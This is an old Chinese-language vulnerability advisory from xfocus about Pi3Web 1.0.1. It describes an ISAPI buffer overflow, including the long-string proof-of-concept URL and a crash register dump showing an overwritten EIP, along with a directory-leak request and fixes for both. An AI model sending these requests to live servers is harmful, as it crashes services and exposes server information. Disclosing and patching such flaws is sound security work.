xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Pi3Web服务程序存在缓冲溢出漏洞


发布时间:2001-03-26
更新时间:2001-03-26
严重程度:
威胁程度:远程拒绝服务
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
Pi3Web version 1.0.1
详细描述
Pi3Web(http://sourceforge.net/projects/pi3web/)是一个多线程,易
配置的WEB服务程序,可使用于WINDOWS和POSIX平台,PI3WEB 1.03支持
CGI,FCGI,WINCGI,SSI和目录索引,其中在服务程序调用ISAPI时处理
程序后存在缓冲溢出。服务器也存在目录泄露问题。

测试代码
下面的请求会导致缓冲溢出:

http://www.example/isapi/tstisapi.dll?AAAA[…]AA

如:
ENHPI3 caused an invalid page fault in module <unknown> at 0000:41414141. Registers:
EAX=00000001 CS=017f EIP=41414141 EFLGS=00010206
EBX=0123d1b0 SS=0187 ESP=041df3b0 EBP=041dfed4
ECX=00000000 DS=0187 ESI=041df3f0 FS=3e6f
EDX=00000000 ES=0187 EDI=00000000 GS=0000
Bytes at CS:EIP:

Stack dump:
41414141 41414141 41414141 41414141
41414141 41414141 41414141 41414141
41414141 41414141 41414141 41414141
41414141 00bb0b2c 00000000 05611030

任意字符的请求会泄露服务器目录信息:
http://www.example.com/sadfasdf

解决方案
删除ISAPI模块中的'tstisapi.dll'会导致缓冲溢出。
但目录泄露问题还没有很好解决办法。你可以修改
Config.pi3错误文档:

Mapping MapToErrorDocument \
301="/errors/301.ssi" \
304="/errors/304.ssi" \
400="/errors/400.htm" \
401="/errors/401.ssi" \
403="/errors/403.ssi" \
404="/errors/404.ssi" \
500="/errors/500.ssi" \
501="/errors/501.htm"

把"404.ssi"改变为"404.hm",并拷贝响应文件到./fragment/404.htm.
你可以从*.ssi错误页面删除相关的SSI代码。

相关信息
此信息有Joe Testa(joetesta@HUSHMAIL.COM)发现。